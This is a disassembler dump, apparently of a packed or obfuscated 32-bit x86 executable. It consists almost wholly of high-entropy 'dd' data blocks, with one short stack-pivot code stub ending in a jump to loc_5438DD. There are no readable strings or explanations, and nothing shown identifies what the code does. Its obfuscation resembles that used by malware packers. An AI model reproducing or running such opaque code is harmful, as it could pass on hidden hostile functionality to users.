0DF005316h, 0AF57CC1Ch dd 55E1BB66h, 37048F5Bh, 68E0Fh, 8D290000h, 607003Dh, 13E9h dd 0C5D06900h, 647F5B2Eh, 0E3A4E8C1h, 7F957C6h, 0A6B74A13h dd 0E904EE83h, 13h, 683B7D8Bh, 71975F9Fh, 527555DAh, 4EE7CD66h dd 8117CB31h, 0FF9884FEh, 1C850FFFh, 8B000000h, 731558Dh dd 24E906h, 0A34B0000h, 1D7CD906h, 18297ED1h, 2FD1FCACh dd 0B8A7DA7Bh, 5D9E0950h, 0FFFF4BE9h, 18F4A0FFh, 0DF948A91h dd 4EB5340h, 6D60C7Dh, 54EE9h, 9E3EEB00h, 0A432F452h, 0AB31FA58h dd 0B755015Fh, 0BA460D6Bh, 2A63846Eh, 3391DD63h, 3795E16Bh dd 3997E371h, 2B9EEA76h, 2852E1B0h, 2C0BF002h, 8C18DB48h dd 3D005ED9h, 0F6ACFCAFh, 4918D198h, 0F60C67EAh, 673003D2h dd 0DD2DF60Ch, 1763B303h, 304FD99Ch, 0C86542A2h, 3CBF7E4Dh dd 50A0F60Ch, 0EB793C9Ah, 8917DA38h, 28B678D6h, 0C05AFD75h dd 2EB47AD8h, 17752B7Bh, 0D24DC854h, 0C3C3003h, 27DD2DF6h dd 560260DBh, 0FFB505B8h, 955DBA1h, 0DA84308Eh, 0C321D727h dd 66C477FDh, 765189Eh, 0A0FEB15Bh, 1D994CDAh, 8F23A07Ah dd 0C6A52ECh, 0B808BB49h, 58DEA402h, 0EBCE910Ch, 3D121C65h dd 1C422D8h, 0E745C073h, 0FDE9420h, 0F60C1C21h, 0A753EFB2h dd 0A402B505h, 0B9F52DCh, 3A11CE68h, 5215BF97h, 32C52092h dd 0A242F89Ah, 93C3D4E0h, 6420h, 18DB3C00h, 290AD98Ch dd 35F60C67h, 0B995CBAh, 3098B255h, 0AE760AD2h, 0D525D828h dd 2EBD7F1Fh, 1FD93C3h, 19000000h, 0D88B19DBh, 0B03CFF5Dh dd 4CDA9CFAh, 23B173D1h, 0FFC22070h, 0AA08BB71h, 35AD60FEh dd 2965CBAh, 0B101B43Ah, 0A450AE61h, 0DCE7AAFAh, 0A3FB1B4Ah dd 8AA447FDh, 0A3EF7D3Fh, 0AAF68245h, 1D14DBC6h, 0E5F127A6h dd 984B9BA0h, 37EA783Ah, 6D78D275h, 70CE1AA6h, 0E6C1FADh dd 0C30CBF45h, 0C7790620h, 0F93C34Bh, 1D9CEA4Ch, 8E4427C6h dd 730Bh, 14DB2700h, 0B67FDD90h, 6938B32Eh, 0F60C67CAh dd 0DA8D4393h, 3D67BF62h, 0DB8E16DFh, 0B077D58Bh, 0B37AD824h dd 701C7A2Dh, 0FBBD1BCEh, 67C07342h, 4D9DF60Ch, 24EC4AFDh dd 670AE79Ah, 24C710CFh, 2CCB7D0Ah, 470B93C3h, 27000000h dd 159014DBh, 0B5056252h, 0E0964170h, 7B09CF2Dh, 1BA16AC8h dd 0BE440A68h, 7AD4770Bh, 0CB1BA96Fh, 0E6F34BEEh, 6145911Fh dd 109E60BEh, 0F9570D5Dh, 27F6A937h, 0F60C6719h, 794AE51h dd 93C32F45h, 185h, 12DBA100h, 67AD905Fh, 62B2F60Ch, 3E015F12h dd 0F06BFFB2h, 289A5D2Dh, 621E056h, 3139FCB7h, 9E41F722h dd 0EC703984h, 0A96225A0h, 5911EAA5h, 0C6169E67h, 0CB9D2110h dd 873F8150h, 0D828FC13h, 7804C725h, 0ACEEB12Ch, 1932D78Bh dd 1C422D8h, 40F1C073h, 95F00B70h, 359346D2h, 0C588E672h dd 1FC28437h, 70EBC807h, 10C64C12h, 70EBD56Dh, 0B7092A1h dd 0C57BCBF0h, 0CC18A467h, 6A1DAB6Eh, 8BB490Ch, 3E8BA346h dd 1A1ED7Bh, 99CA463Fh, 0CF2AC487h, 8EF1E86Dh, 15E55D8h dd 4A710000h, 1B79F474h, 0CC1CCF55h, 0C2209B16h, 71C174FAh dd 86B4ECBBh, 0B101FC13h, 5E2583FEh, 71CF1FD2h, 0D6B21AFh dd 1472BE4Ah, 0B210C351h, 0D46736EFh, 89F00B79h, 0F36EE939h dd 798AA978h, 83D3F00Bh, 0B7981B4h, 0D88EDEF0h, 4BFEC725h dd 0B79B97Ch, 656A6F0h, 0A349F553h, 45CB92F0h, 23C64292h dd 670ACC0Bh, 0B13F02CFh, 4D03C565h, 6C4399CAh, 0C8000000h dd 6319A76Ah, 9D60BE7Fh, 6D6A590Fh, 0C695440Bh, 0F60C6777h dd 0F84898E8h, 0C9731F7Dh, 0DAC99813h, 82F60C68h, 67053807h dd 0A5AF60Ch, 0AF2A7A54h, 4E018F51h, 0C69548FEh, 0F60C6777h dd 64179D64h, 4B73D06h, 8E4DE588h, 79D76F12h, 0DEAD285Eh dd 0F60C68EFh, 27850050h, 0D121D460h, 0E506B20Eh, 1ED47D16h dd 7E7CD2h, 4A980000h, 0AA79F474h, 0FC13883Ah, 5AB83383h dd 0F9570A98h, 0A7F7AA36h, 90EEA157h, 95F33FCDh, 0C49346D2h dd 0F00B487Eh, 9F8B864Fh, 0D286EE8Dh, 0A301B404h, 2AA255F7h dd 3605AF87h, 0F00B6F07h, 0DBB80858h, 10D31E38h, 5FBD3884h dd 6A590F9Dh, 0BC5BA154h, 8245E793h, 0F98EDABDh, 0A74A4A51h dd 0D550A0F0h, 1D603006h, 26D929FAh, 0C47705C8h, 97B58D30h dd 0F7C64127h, 0FC132F43h, 987CC818h, 24E6744Ah, 67999C6Bh dd 76C6F60Ch, 7806C826h, 58DEAD28h, 1FC1AB6h, 0DDA0FEB1h dd 69EACEDCh, 2F29B9Ah, 0B174C4F0h, 0B32EB1D8h, 2A951E4h dd 6EBE0EF0h, 7301C422h, 4AD89AF8h, 0DE914797h, 0EA0ED60Fh dd 20FA9DF0h, 0FA46D295h, 0D55B217Fh, 0F1A88B5Ah, 65B5F0DAh dd 28E51AFh, 0A745F14Fh, 44EA96F4h, 0E3713391h, 3D15B830h dd 0AF872ABEh, 51FBA705h, 0ED77409Eh, 0E49AEA3Ah, 0E935C386h dd 0BE48106Eh, 59E7AA08h, 350A6h, 4D6C0000h, 8E2EDB69h dd 2EBA7DDBh, 0C9571D7Bh, 66F0B816h, 28E55B3h, 0A62AF14Fh dd 43E995F3h, 0E3693290h, 8210D230h, 4B687ECFh, 89000006h dd 8957240Ch, 4C781E7h, 81000000h, 4EFh, 243C8700h, 241C895Ch dd 62CD68h, 243C8900h, 0A3452EBBh, 3E3C130h, 0BE56EBD1h dd 3C7EC5A8h, 545EF329h, 81243C8Bh, 4C4h, 81535600h, 6DA2242Ch dd 815E5EFBh, 0FB6DA2C6h, 877895Eh, 2434FF5Eh, 4C4815Fh dd 8B000000h, 8957241Ch, 4C781E7h, 81000000h, 4C7h, 243C8700h dd 282BE95Ch, 41B8FFF9h, 0B80E852Bh, 60E53DDh, 0E0FFC503h dd 2E2E47B3h, 5D307406h, 0FBAE269h, 4C77BC68h, 10EBh, 3 dup(0) dd 0C08B0000h, 211BD83h, 75000607h, 65BD8309h, 6070Dh dd 53501974h, 2DB8C08Bh, 89000004h, 7302D85h, 0A89D8D06h dd 0FF0609AAh, 83585BD3h, 70D65BDh, 17740006h, 2DB85350h dd 89000004h, 7302D85h, 979D8D06h, 0FF0609A7h, 89585BD3h dd 71C658Dh, 0D18B6606h, 0BE9h, 76532C00h, 0DAFC1FE6h dd 89E19872h, 0BFD958Bh, 0C08B0607h, 301DE681h, 8D8B3452h dd 6070AE5h, 33159D89h, 0F9830607h, 8E840F00h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 0F586C357h, 2C3D8B64h, 89000000h, 719D1B5h dd 0FFF0B06h, 5C84h, 0B70F5100h, 3F8B5AD7h, 32F08B66h dd 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 0FE96Fh, 0FCA70000h, 9D088602h, 9A7993D6h dd 0CB3606B6h, 890F72h, 0F3000000h, 6E8AAh, 3E00000h, 2E27530Bh dd 6850Fh, 958B0000h, 6073345h, 4149355Ah, 9D895350h, 6071839h dd 152585C6h, 8B470607h, 713C5B5h, 58BA6806h, 5250AF79h dd 0FD78B66h, 81585A31h, 2F722404h, 6A2D5Dh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0D4881EC3h dd 0FF96673Ch, 71CBDB5h, 0F4858D06h, 60060A70h, 1B198589h dd 1BBB0607h, 61442DCFh, 2960D0FFh, 71AB9BDh, 5E906h, 0AA150000h dd 6154EA24h, 1E2D8589h, 0B58B0607h, 6070F91h, 152585C6h dd 8B530607h, 7330D95h, 4E806h, 6AFC0000h, 0EE88898h, 5F000000h dd 0C59948D1h, 2B5778ADh, 42A032C3h, 0D18B6629h, 0EE8505Eh dd 0C6000000h, 0ACD5487Dh, 0D613734Bh, 0C979B0F9h, 0D2BE53F6h dd 5E16EA2Dh, 24448B5Ah, 5FBE6604h, 0F008BCEh, 1084h, 0BE900h dd 4B850000h, 546A8DCAh, 87F8CB84h, 244489D6h, 580CB604h dd 0ADB52950h, 5A060705h, 1CBDB5FFh, 8B660607h, 4800FD6h dd 53000000h, 8D5A6160h, 0A70F485h, 0F08B6606h, 858DD0FFh dd 60A3BCFh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 0B3C35141h, 958B4CBDh, 6072EF5h, 0C318589h, 89600607h dd 711C9BDh, 6144B706h, 0FF6A206Ah, 0C3195FFh, 49350607h dd 0C7535041h, 70E2585h, 106h, 7585C700h, 60702h, 0F000000h dd 1482h, 8E800h, 0BD620000h, 181885E5h, 0DE81BE35h, 2406C74Fh dd 0BE85Ah, 0F1D30000h, 2629B4E8h, 72EDFFC3h, 0BD835AC1h dd 6070129h, 43840F00h, 0F000000h, 287h, 8B57B200h, 7011585h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 64AC2504h, 0A3h, 1CCE8000h, 2F29858Bh, 0E08B0607h dd 19FD958Bh, 0BD830607h, 6070BF9h, 0EC850F00h, 89000003h dd 715759Dh, 2585C606h, 56060715h, 0CE9h, 48518100h, 0DD810B19h dd 0F8E51ECEh, 977F6891h, 5E88BA4h, 0A3000000h, 0EA5501F5h dd 2434815Eh, 2261A7A0h, 35BD89h, 0B5FF0607h, 6071CBDh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 68C35545h dd 6476914Ch, 8166504Eh, 8D4F24DAh, 0A70F485h, 0B59D8906h dd 0FF060711h, 8B5090D0h, 0B58B90F7h, 6072709h, 865BE66h dd 32558D8Dh, 800F0607h, 8, 2810Fh, 5A560000h, 0D68B5650h dd 240C895Ah, 6AF6BF0Fh, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 99191639h, 0BD950904h dd 6806070Dh, 0FDE63EBEh, 38A0F51h, 66000000h, 815AF28Bh dd 0D1422404h, 6A0219h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 9AD8CDC3h, 93273E4Fh, 6DB5FFB8h dd 66060716h, 9E9F38Bh, 59000000h, 0ED45A3A0h, 72C09650h dd 860FD0FFh, 5, 0D4DE8166h, 6DBD8B7Ah, 6A060716h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 0A675C353h, 0FFD74EB5h, 5000BE51h, 1295B58Bh, 7F030607h dd 67A5BA3Ch, 0C7812477h, 0F8h, 66516CB6h, 0C75AD68Bh dd 202447h, 958B6000h, 6070281h, 5479BD83h, 0F00060Eh dd 17784h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 15980630h, 0D1E36502h, 4DB58BC4h dd 83060731h, 896028C7h, 703399Dh, 21BF6606h, 0F38B6185h dd 6A2E07C7h, 6A6469h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 6FE882C3h, 0C86DE461h, 0BD8960F4h dd 6072F65h, 610447C7h, 89006174h, 704D9B5h, 698D2906h dd 8B060716h, 0E548185h, 0C478906h, 0DE9h, 0C21B7A00h dd 309FB3F0h, 0E18B827Dh, 0B58BD1BAh, 6070EC9h, 5485858Bh dd 0BF0F060Eh, 84789D6h, 11E8h, 1EDB7000h, 0DB6B2868h dd 0B56CB88Bh, 17E7CC4Ch, 840FC178h, 6, 302FC281h, 835E32C2h dd 8C0F28C7h, 17h, 11870Fh, 0CE90000h, 2C000000h, 68CC3FE2h dd 778C3536h, 0C71979E0h, 6F632E07h, 52006A6Eh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 153276B7h dd 0A3D8AC74h, 5B58BBDh, 0C706072Dh, 69660447h, 6A0067h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 88B0BC3h, 37946268h, 0B2542DF3h, 7D858B90h, 89060E54h dd 72935BDh, 0C478906h, 0B7D8501h, 858B0607h, 60E5479h dd 84789F8h, 2719B58Bh, 0B58B0607h, 60718FDh, 50006A58h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 6C48EE7Ah, 0F681AD65h, 7E3DEBF1h, 217D8D8Dh, 0BD890607h dd 6070119h, 50525091h, 800F52h, 0F000000h, 0F585A31h dd 0BE665031h, 5A5AA21Bh, 68BA5058h, 9132CF02h, 0A399501h dd 0B5FF0607h, 6073255h, 4E8h, 100000h, 9A74BA00h, 0E9503FB2h dd 5, 26667D6Ch, 24448BB2h, 8BFAB204h, 89EAB600h, 0F042444h dd 488h, 0CCBA6600h, 6A5866h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 0D2E350C3h, 6FBADA82h dd 0FF17C7D3h, 7166DB5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 0FA0E471Fh, 74C576C0h dd 0FFF8629Ch, 45B58BD0h, 0B8060704h, 0 dd 0E9D38B66h, 13h, 25C7CE24h, 6EA3F34Dh, 79184C21h, 31006521h dd 0B771065h, 32840FC0h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 8FAAC350h dd 0A5B5FFE7h, 8B060721h, 72059B5h, 1995FF06h, 0B606071Ch dd 66C08B5Fh, 21B8C281h, 211BD83h, 75000607h, 65BD8309h dd 6070Dh, 53501974h, 2DB8C08Bh, 89000004h, 723A985h, 0F9D8D06h dd 0FF0609ABh, 83585BD3h, 70D65BDh, 17740006h, 2DB85350h dd 89000004h, 723A985h, 0B09D8D06h, 0FF0609A7h, 60585BD3h dd 5EE98060h, 290D9D01h, 33610607h, 7303595h, 0B58B6106h dd 6071BF9h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 320497C3h, 9DCFB18Bh, 0BF0F7603h dd 0EBC08BD1h, 0FDF09704h, 5E8E97Ch, 0B7640000h, 0A96BC915h dd 0A871CF1Bh, 0CE7AD824h, 0BF86E430h, 0DAFBE531h, 0A56DAA1h dd 0E5AE4ACh, 105CEAB0h, 1561EFB2h, 0E55827A2h, 7AF0023Bh dd 18DBB79Bh, 0B47BD98Ch, 6B3AB530h, 0F60C67C8h, 438F4595h dd 0E39622E5h, 0BC3C285h, 5903AF3Eh, 339356A6h, 58DBAA54h dd 5F60C0Dh, 9A1565B5h, 466C0FD7h, 40F66930h, 0C897128Dh dd 0F60C3375h, 86E49AEAh, 40BB36C4h, 0E1941AE2h, 3373C291h dd 9CECF60Ch, 0CD533E6h, 33AF8E5Dh, 60B0F60Ch, 37FF5D10h dd 7A1DFAADh, 0C55315A0h, 0FA72C212h, 2FF2FF57h, 0DCAB26A1h dd 0F60C3359h, 0E349901Dh, 0D7B1072Fh, 0DEAE8D5Ch, 5FAFF60Ch dd 0AF0D590Fh, 0F08A4DE9h, 9CEC9F2Dh, 52B0FC4Ch, 0F553068Ch dd 4ED2992Dh, 48FB4B9Bh, 0E69927EAh, 8033C188h, 0F2F149ECh dd 5663BB5Eh, 3BB60290h, 1E1A1BDDh, 0FA7E71B3h, 0B101B404h dd 4E018B53h, 27EA48FEh, 0FEC01E99h, 8C07BA70h, 26D9672Eh dd 0EF5120D6h, 7BF60C5Eh, 52E0A200h, 5221F99Ch, 93C36790h dd 79D0h, 30F75500h, 43A1F1A4h, 593DF381h, 0E9860BEh, 0F7550B5Bh dd 26F5A834h, 0F60C6715h, 0C87B01CAh, 691CA26Ah, 0DB1832D5h dd 0DFC96104h, 67A69564h, 59B7F60Ch, 9590C90h, 0A925BB9h dd 2EF2B454h, 773A93C3h, 4626233h, 41C47ACFh, 1, 8B19DB5Dh dd 2AB87AD8h, 0AE39FC77h, 29C101AAh, 47F35107h, 0D77AF2A5h dd 22B0727Fh, 19B578D6h, 327ECE52h, 0E9259B7h, 14DB7458h dd 0B934BA82h, 0C674BEAh, 74C414F6h, 13A163C1h, 23FB9E60h dd 0ACCECF96h, 0D0D7D76Ch, 48A62171h, 0F343F680h, 0D093F13Dh dd 6A339144h, 6EA467E2h, 379B01EFh, 2417E661h, 39F60C12h dd 378033E9h, 3BEDBA94h, 7B93C3A2h, 87h, 9014DB97h, 68CB9A15h dd 71F60C67h, 237326AAh, 9043F949h, 68E36932h, 671F1EEDh dd 0F040F60Ch, 6629873Ah, 0C77A04CCh, 16742777h, 9B13C654h dd 29A15EF8h, 5A21AC86h, 652C8AD6h, 22CE2CDFh, 0DD80C97Ch dd 2D843645h, 5DC493C3h, 0E0000000h, 966514DBh, 0F60C67A7h dd 2EE16B34h, 64B404DEh, 948D53B1h, 0BA44CD13h, 6D20707Ch dd 16521590h, 0F1B739F5h, 0A24C77Dh, 206CF8BFh, 0D85B2AA5h dd 85F60CC9h, 0DB9B7F35h, 0B2108B19h, 0F0B366ECh, 0DA731A24h dd 2AE03041h, 1798A877h, 2DD0F60Ch, 9EC48615h, 10493C3h dd 20000000h, 0D78A12DBh, 772AB679h, 0DBE640E3h, 4F3E8A12h dd 0AF7EF96Fh, 0FC139001h, 0FA9457B5h, 0A95CAC32h, 6C9A359h dd 92291E6Eh, 3D790599h, 13724FBCh, 119F65C3h, 0BBE0E5Eh dd 8750EAADh, 361ADFDh, 8601B440h, 29F93C0Bh, 0F6C5F00Bh dd 0F00B2947h, 9EEEC818h, 291819E8h, 9B3EF00Bh, 0E5733683h dd 0EC783B99h, 0C14B1371h, 37FA580Bh, 7D02EA9h, 5214C77Dh dd 874A97AFh, 4A9A22EBh, 27C571CFh, 0C3852571h, 399CA7Ch dd 16Ah, 81744A1Fh, 50153F42h, 0AB2676B7h, 1383A4DCh, 0C79611FCh dd 0F00B7C74h, 964999E9h, 9BE77538h, 3BEE7A3Dh, 139962C0h dd 0B066F2B5h, 86018F52h, 7CF93C0Bh, 0AB7DF00Bh, 93CA7636h dd 60166640h, 0EE48EBADh, 0B97C4BC6h, 0A6F00BB7h, 7F42A056h dd 4305A5F1h, 8399CAFFh, 59h, 0F98D4A9Fh, 683CAF7Eh, 3181F60Ch dd 49258B6h, 1C488E51h, 0C4D3FEFBh, 3C0BBE74h, 0F60C85F9h dd 2B0921C4h, 0E45FDAACh, 0C852615h, 74C796F6h, 0E9F60C85h dd 0B96FBF99h, 0A265C33Eh, 12916016h, 0CAF60C8Ah, 6319A36Ch dd 0FC3F0E89h, 61F60C85h, 1F75C111h, 0B6h, 9760BE3Bh, 540A5A0Dh dd 940F5965h, 69F3BB19h, 0C679B9Ah, 0BE74C4F6h, 88707443h dd 7DCDFC13h, 0DA96CCAh, 2470C044h, 0FA824BA9h, 5434F747h dd 87A3438Ah, 8E51AF65h, 0B2804F02h, 93F00BDEh, 0D19447CDh dd 0D78F073Ch, 0D193F140h, 46159043h, 0F00B18F7h, 0FDA01868h dd 44D29825h, 0DA7417F4h, 45C04C0Fh, 58461782h, 0C8B09E67h dd 0E1D4CFA2h, 24702676h, 64DF8935h, 1D5A2A95h, 0F1C03BFAh dd 0F605A542h, 9144D097h, 0C7176741h, 65F3B614h, 0A37B1EB2h dd 0B42F3985h, 1306DAE5h, 0C03B8BFCh, 17E69F62h, 0F00BF924h dd 1E99E939h, 0BF9EC4Fh, 6B2171F0h, 744A3B1Fh, 521B79F4h dd 1969F3BCh, 0F1B81666h, 6332AD63h, 0FC1AC45Ch, 2BD3A568h dd 6E3F689Eh, 0DB8EDEB8h, 0E22EBA7Dh, 8033C184h, 78BB8A05h dd 0E5F0021Eh, 0E810DF95h, 7976F183h, 1B792CB0h, 8216C953h dd 108847DFh, 4508D56Dh, 0E3D49444h, 0E333C5ADh, 0EB591C97h dd 1040FE02h, 0AF72D086h, 5C2BA621h, 8AF14BD9h, 0CD803686h dd 9E19C36Fh, 0F803E5DBh, 5006DB84h, 0CC66099Dh, 31BF86E4h dd 1A782E7Eh, 1F7DC957h, 0A21DD05Ch, 21B1D6DFh, 530944D3h dd 3FDh, 694D1900h, 0DB8E2EDBh, 7B2EBA7Dh, 16C9571Dh, 0B366F0B8h dd 4F028E55h, 0F3A62AF1h, 9043E995h, 30E36932h, 0CF8210D2h dd 37E1687Eh, 2C890000h, 0E0895024h, 405h, 42D00h, 4870000h dd 0C895C24h, 0E6895624h, 4C681h, 0EE810000h, 4, 5C243487h dd 50243489h, 63325768h, 0B0D5813h, 2D127845h, 0D6D1AD6h dd 242C8150h, 69A234Eh, 4EC18159h, 58069A23h, 589468h dd 24248900h, 4240481h, 5E000000h, 0E5268h, 240C8900h dd 8B08468Fh, 89502434h, 405E0h, 0C0830000h, 24048704h dd 2434FF5Ch, 4C48159h, 0E9000000h, 0FFF91A21h, 0ABB93A57h dd 67D87023h, 760B38E2h, 0D4B8062Eh, 3060E61h, 28E0FFC5h dd 0C5112577h, 365CBB74h, 84F705Eh, 0AD08ED13h, 0BD6FAAFCh dd 9622EA9Dh, 8B79F8C6h, 3525BAB0h, 0CF4F7ECFh, 0D1192A77h dd 98650797h, 0F65ED794h, 536234F7h, 0E05C4D08h, 452D85B2h dd 4C10749Ch, 7C4713A4h, 6576FE1h, 2C48E02Bh, 34870A7h dd 774E883Eh, 811AE715h, 9120F1BFh, 51449C8Dh, 0EB0AD31Dh dd 375C8204h, 4F0E946h, 17C40000h, 9CB2975h, 8D12F7Bh dd 2EDA3884h, 1FE64490h, 3A5B4591h, 6AB63A01h, 6EBA440Ch dd 70BC4A10h, 75C14F12h, 85B88702h, 0DAF00205h, 18DB17FBh dd 0B47BD98Ch, 0C386E430h, 61248235h, 0C220D3h, 0A447BF72h dd 0F07C3F8Ah, 0F28046A4h, 0F48248A6h, 0CD6F1B79h, 0A56CCA1Ah dd 58B6691Fh, 0A836F890h, 0DA55A5F5h, 792FB57Ch, 0B78F32C6h dd 92DE642Ah, 6CF0B917h, 55B369B9h, 84530692h, 0F60C67BCh dd 873109ACh, 67FE3D0Ch, 0E45FF60Ch, 0C672615h, 97E737F6h dd 2E7F41E1h, 46BF93C3h, 0DB000000h, 0BC7E18DBh, 0DB2B7B2Eh dd 8C4FAD28h, 0BA7B4A00h, 0A2F60C67h, 965827FFh, 0D693C32Eh dd 1, 8B19DBF2h, 2AB87AD8h, 0CF6D1977h, 0A72DF654h, 23C63EF1h dd 6EFCBE0Bh, 7301C422h, 4CD29AF8h, 47934999h, 8214DB63h dd 207E31BFh, 3080D05Eh, 0CF5D1F7Dh, 6AF8BE1Ch, 0E9259B7h dd 0A24C75Bh, 1E6EF6BFh, 5461B95Ch, 0C98C078Dh, 0F6A2AB0Ah dd 9255A558h, 0B3696655h, 0BA460967h, 911FE13Fh, 68308EDEh dd 25DB2BDEh, 0D099F772h, 9927EE4Ch, 82E096E6h, 5AB833B9h dd 0A75A10AEh, 1463BB5Eh, 93C37F62h, 864CAAh, 83C74Ah dd 0D14C0000h, 0C3B3302h, 26DC2CF6h, 8214DB42h, 6BE636BCh dd 6B962CA8h, 7A306ACAh, 0A9A069C7h, 0AC96D8E3h, 570A5AAAh dd 0BAE23CDFh, 550B995Ch, 58A430F7h, 5A111ADDh, 7227EC62h dd 0A60BDFAFh, 5B11AAD5h, 0F7AA36FDh, 0CF551E7Ch, 0B816CC1Ch dd 66AF620Ch, 6A1C6BC3h, 0AA93C412h, 4Ah, 7443BEC6h, 0F60C67C1h dd 798B4E9Eh, 0DAE6CC37h, 0B178D68Ch, 4C127023h, 1868F6B8h dd 4DE58865h, 0DF2BB980h, 9D60BEFBh, 39FB590Fh, 729F8ABh dd 53F60C67h, 6B2E96B0h, 543ADA4Bh, 0C4641ABAh, 93C42802h dd 142h, 12DB5E00h, 0B679D78Ah, 40E3772Ah, 8A12DBE6h, 0EB6F4F3Eh dd 40C48D29h, 5625A0F0h, 0FC13906Ah, 9AF8ABFBh, 0EC4F1ED7h dd 71F00B4Fh, 0F856D121h, 8245A331h, 79F440F6h, 0FD36FFB6h dd 56E8AB51h, 0F3B614A6h, 8E51AF65h, 76D44F02h, 0A37228AEh dd 0F00B7D92h, 0BC0921C4h, 9975DF9h, 0E6B2AD46h, 64B4D936h dd 783F9D18h, 93A271ECh, 0CCF00BE0h, 0A568C67Ch, 0F0839FA4h dd 53A3BCE7h, 0F17F42A0h, 5BBAB376h, 0DAA11CDDh, 99CCFE17h dd 0EEA4CE5Eh, 7CD6793Bh, 0D622AE71h, 0CB1B7436h, 151B499h dd 4AD00000h, 0AA79F474h, 0FC138676h, 5EBC6FBFh, 34920D9Bh dd 0DF2FE26Ch, 0BC7FDD29h, 5C1F7D30h, 9EE92E5Dh, 0D28A4DDBh dd 0F5A8F8AFh, 2BB69033h, 9053B168h, 0A7063504h, 757F00Bh dd 9CB6BB7h, 5199CAEFh, 24B278D6h, 0BABE655h, 712777F0h dd 4CEEh, 8D4A0A00h, 40037EF9h, 15DE6F2Eh, 0EF2CC8Fh, 9013E298h dd 0EDF60C59h, 116FEA9Dh, 400FC54Bh, 0F60C56FDh, 27051DC0h dd 8C5BD6B0h, 0F60C5919h, 3BB67C5h, 0AEFEB13Bh, 7ECEA85Eh dd 7AB98803h, 0E3F60C56h, 3B91DD93h, 0B3h, 9760BE57h, 8638F59Ah dd 7ACABE1Ch, 511977C7h, 12C818CBh, 13BF9B23h, 239E1969h dd 0A978FCC5h, 0F60C958Ah, 52CD83D3h, 137A0183h, 34037EFCh dd 0F00BB501h, 0E5409B5Eh, 0F1FB574Fh, 409E51A1h, 45A3EF7Dh dd 9620E882h, 904393E3h, 0B5C7DC1h, 1630D3F0h, 307C08CBh dd 49057B5h, 95F5F4Eh, 0FE50BF8Eh, 4AC5FA1Dh, 531B87Bh dd 0F755A5F6h, 0A4F4A735h, 8043A154h, 0E1943AE6h, 68C64191h dd 0AC5F159Fh, 7FDD7518h, 0EBAE293Fh, 6635CB9Ah, 0F60582D7h dd 6753888h, 49C184F2h, 0ED788C24h, 3A09843Ah, 0FC13C2D7h dd 29A4F040h, 0C77A02CBh, 4ADDC177h, 0B679F474h, 7E08278Fh dd 0FB762C90h, 1AC6252Ch, 6F2272FCh, 76C24E11h, 14C75518h dd 4BF2A245h, 78D27530h, 0A31EAA6Dh, 3DDA5928h, 3CFFB03Bh dd 0D086D6B0h, 0D5632684h, 7618C422h, 0B28C2FC3h, 8CA6427h dd 51AF2A7Ah, 252058Bh, 3D85B887h, 8ADAB03Bh, 672A88D4h dd 3D026D9h, 0EC000000h, 2EDB694Dh, 0BA7DDB8Eh, 571D7B2Eh dd 0F0B816C9h, 8E55B366h, 2AF14F02h, 0E995F3A6h, 69329043h dd 10D230E3h, 687ECF82h, 6088h, 68240C89h, 5785h, 68242C89h dd 10D5h, 51243489h, 0CB204068h, 0BF57596Ch, 994342A9h dd 895FF901h, 0EC8359CDh, 24248904h, 4240481h, 5E000000h dd 12FD68h, 242C8900h, 8B08468Fh, 89562434h, 4C681E6h dd 81000000h, 4C6h, 24348700h, 242C8B5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5438DD ; --------------------------------------------------------------------------- db 0C0h, 9Ch, 0Eh dd 0A09BCA81h, 8892B95h, 5AB85686h, 3060E67h, 25E0FFC5h dd 717A8247h, 0F87DACF9h, 0FD6C4B14h, 0AC713CDCh, 337E8CBCh dd 456AF18Eh, 0FD632FB7h, 0D729A915h, 0A45FC4C7h, 0B02546FAh dd 7A09A915h, 23371F33h, 0F11D1C44h, 0D874C333h, 2E7EB6B4h dd 0B062D1EFh, 459A3B3h, 0F5352E4Dh, 3C417730h, 363480C4h dd 0F10BFE5Bh, 0E864EBEAh, 0Eh, 0FAC3B3F4h, 95EE7123h dd 0CA6BE949h, 8166F7ADh, 58B80ADBh, 5AD78B52h, 65FFC081h dd 8B660000h, 323ABFD9h, 0EF812D99h, 2D9918E0h, 30FFD98Ah dd 5EC8B70Fh, 28A0Fh, 0DE8B0000h, 88A4F681h, 0E6806CADh dd 5AEE81DEh, 0F83995FFh, 5C5BEE81h, 0EF80526Bh, 0F30893Ch dd 68Dh, 14DA8100h, 8354F271h, 800F02E8h, 0 dd 8F0F4848h, 1Ch, 13E8h, 163D3700h, 57A954C5h, 2C5908E2h dd 0CDC7667Ch, 21D9953Eh, 5BD18B66h, 0F01EF83h, 0FFFF9585h dd 8DE88AFFh, 0E696D8Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 130EDE52h, 4FCA3D83h dd 8D89DE8Bh, 6070A01h, 4A5958Bh, 85C70607h, 60714A5h dd 6EA4h, 0D99D8957h, 5F060715h, 2FD585C7h, 607h, 85890000h dd 6071D09h, 